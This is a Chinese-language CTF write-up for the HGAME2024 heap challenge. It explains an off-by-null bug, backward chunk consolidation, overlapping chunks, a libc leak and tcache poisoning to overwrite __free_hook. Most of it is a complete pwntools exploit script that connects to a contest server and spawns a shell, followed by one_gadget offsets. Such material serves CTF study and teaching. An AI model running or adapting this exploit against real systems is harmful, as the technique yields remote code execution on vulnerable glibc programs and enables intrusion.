Glibc Heap Exploit 坐牢笔记 - 0x07

# [HGAME2024] Unsotredbin 向前合并 + Off-By-Null

# 题目简述

来自 HGAME2024 - Week3

给了 add delete show 的功能,edit 在 add 的时候就进行了。
add 函数在 edit 的时候会在写入内容末尾的下一个字节写入 \x00,只可以引起 Off-By-Null。
堆块大小限制在 0xff 及以下。
delete 把 tabel 的地址清零了,因此没有 UAF,show 也无法 leak 被 free 的 chunk。

# 思路

# 1

Off-By-Null 可以缩小 chunk 的大小,也可以把 PREV_INUSE 设为 0,从而在构造好的条件下触发 chunk 的合并。
限制是 0xff 的大小,chunk 的 size 范围是 0x110 以及以内,由于小于 0x100 的 size 在 Off-By-Null 之后 size 会被设置为 0,因此我们可以把 0x110 的 chunk 缩小为 0x100
因此如果我们把一个 chunk 的 size 缩小,把被去掉的那部分伪装成 fake-chunk,那么我们就能在不触发原本 chunk 之后的 chunk 修改 prev_size 的条件下对这个 chunk 进行分割,再触发后面的 chunk 的向前合并,从而造成 Overlapping
利用 Overlapping,我们可以利用 UAF 的思想 leak libc,那么修改 hook 也就不难了

但是!
问题在于我们不易得到这样一个既能触发堆缩又能实现 Off-By-NULL 的 chunk。于是采用一种新方法。

# 2

大致思路和上面差不多。改变的是我们不利用堆缩再切割的方式得到 overlapping 的 chunk,我们直接 add 几个 chunk,直接把最后一个 chunk 的 prev_size 改成这几个 chunk 的 size 的总和,同时把 PREV_INUSE 改为 false,那么就能在不 free 中间的 chunk 的条件下得到 overlapping 的 chunk。

如果要触发一个 chunk 的向前合并,我们一方面要伪造 prev_size 和 PREN_INUSE,另一方面我们要把 addr-prev_size 地方的 chunk 的 fd,bk 伪造了,这样才能通过 Ulink 以及其他的检查。

在 EXP 中,我们把 7,8,9,10 号 chunk 合并了,其中 7,10 处于 free 状态,8,9 没有 free,于是我们通过 add 我们可以直接得到两个 chunk 之间的部分重叠,于是就能泄露 libc 基址并修改 Tcache chunk 的 fd 为 hook,从而修改 hook,GET SHELL...

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
#patchelf --set-interpreter ./ld --replace-needed ./libc ./pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './1`'
p=remote('139.196.183.57',31460)
# p=process(['./ld-2.27.so', pwn], env={"LD_PRELOAD":'./libc-2.27.so'})
# p=process('./1')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.Add note");
# puts("2.Show note");
# puts("3.Delete note");
# puts("4.Exit");
# printf("Your choice:");
def add(idx,size,con):
p.sendlineafter("Your choice:","1")
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Size:",str(size))
p.sendlineafter("Content:",con)
def show(idx):
p.sendlineafter("Your choice:","2")
p.sendlineafter("Index:",str(idx))
def dele(idx):
p.sendlineafter("Your choice:","3")
p.sendlineafter("Index:",str(idx))
def cleart():
add(0,0xf8,p64(0xdeadbeef))
add(1,0xf8,p64(0xdeadbeef))
add(2,0xf8,p64(0xdeadbeef))
add(3,0xf8,p64(0xdeadbeef))
add(4,0xf8,p64(0xdeadbeef))
add(5,0xf8,p64(0xdeadbeef))
add(6,0xf8,p64(0xdeadbeef))
# add(7,0xf8,p64(0xdeadbeef))
def fillt():
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)

cleart()
add(7,0xf8,b'a')
add(8,0xf8,b'a')
add(9,0xf8,b'a')
add(10,0xf8,b'a')
add(11,0xf8,b'fangzhihebing-fuckccf')
fillt()
dele(9)
cleart()
add(9,0xf8,b'a'*0xf0+p64(0x300))
fillt()
dele(7)
dele(10)
cleart()
add(7,0xf8,b'a')
show(8)
p.recv()
addr=u64(p.recv(6)+b'\x00\x00')
base=addr-(0x7fdde95ebca0-0x7fdde9200000)
print(hex(base))
free_hook=base+0x03ED8E8
one=base+0x4f302
# fillt()
# add(12,0xf8,b'fake-8')

# dele(9)
add(12,0x78,b'fuckccf')
add(13,0xf8,b'a'*0x70+p64(free_hook)+p64(0x101)+p64(free_hook)+p64(0))

dele(9)
dele(13)

add(13,0xf8,b'a'*0x80+p64(free_hook)+p64(0x101)+p64(free_hook)+p64(free_hook))

add(9,0xf8,b'/bin/sh')

add(14,0xf8,p64(one))
dele(9)
# gdb.attach(p)

# add(0,0xf8,b'a')
# add(1,0xf8,b'b')
# dele(1)
# dele(0)

# add(0,0xf8,b'a')
# add(1,0xf8,b'b')

# show(0)
# gdb.attach(p)
# cleart()
# add(9,0x10,p64(0xdeadbeef))# prevent hebing
# fillt()
# dele(0)
# cleart()
# add(0,0xf8,(p64(0)+p64(0xf1)+p64(11)+p64(1)).ljust(0xf0,b'\x00')+p64(0xf0))

# # dele(1)
# add(10,0xf8,b's')
# add(11,0xf8,b's')
# add(12,0x10,p64(0xdeadbeef))# prevent hebing

# fillt()
# dele(10)
# dele(11)
# dele()

p.interactive()

# 0x4f29e execve("/bin/sh", rsp+0x40, environ)
# constraints:
# address rsp+0x50 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

# 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# address rsp+0x50 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

# 0x4f302 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv